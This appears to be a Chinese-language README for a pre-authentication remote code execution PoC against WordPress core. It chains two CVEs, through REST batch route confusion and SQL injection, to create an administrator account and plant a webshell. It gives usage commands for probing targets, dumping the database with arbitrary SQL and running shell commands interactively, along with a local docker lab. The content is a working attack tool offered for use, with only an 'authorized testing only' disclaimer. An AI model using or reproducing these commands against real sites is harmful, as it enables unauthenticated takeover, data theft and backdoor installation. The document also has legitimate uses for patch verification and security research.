针对 CVE-2026-63030 + CVE-2026-60137(WordPress 核心)的预认证 RCE PoC。
REST /batch/v1 路由混淆 → WP_Query author__not_in SQL 注入 → 未认证
管理员创建 → WebShell。单文件,仅依赖 Python 标准库。
漏洞发现者:Adam Kues(Searchlight Cyber)。受影响版本:6.9.0–6.9.4, 7.0.0–7.0.1。已修复版本:6.9.5 / 7.0.2。
python3 WordPresShell.py check http://target # 确认(非破坏性)
python3 WordPresShell.py dump http://target [--query "SELECT @@version"]
python3 WordPresShell.py shell http://target --cmd "id" # 无破解 RCE
python3 WordPresShell.py shell http://target -i # 交互式
python3 WordPresShell.py shell http://target --user U --password P --cmd id
docker compose up -d # WordPress 7.0.1,端口 :8092
docker compose down -v # 清理
shell 命令会创建一个管理员并植入 WebShell——测试后请删除两者。
仅限授权测试。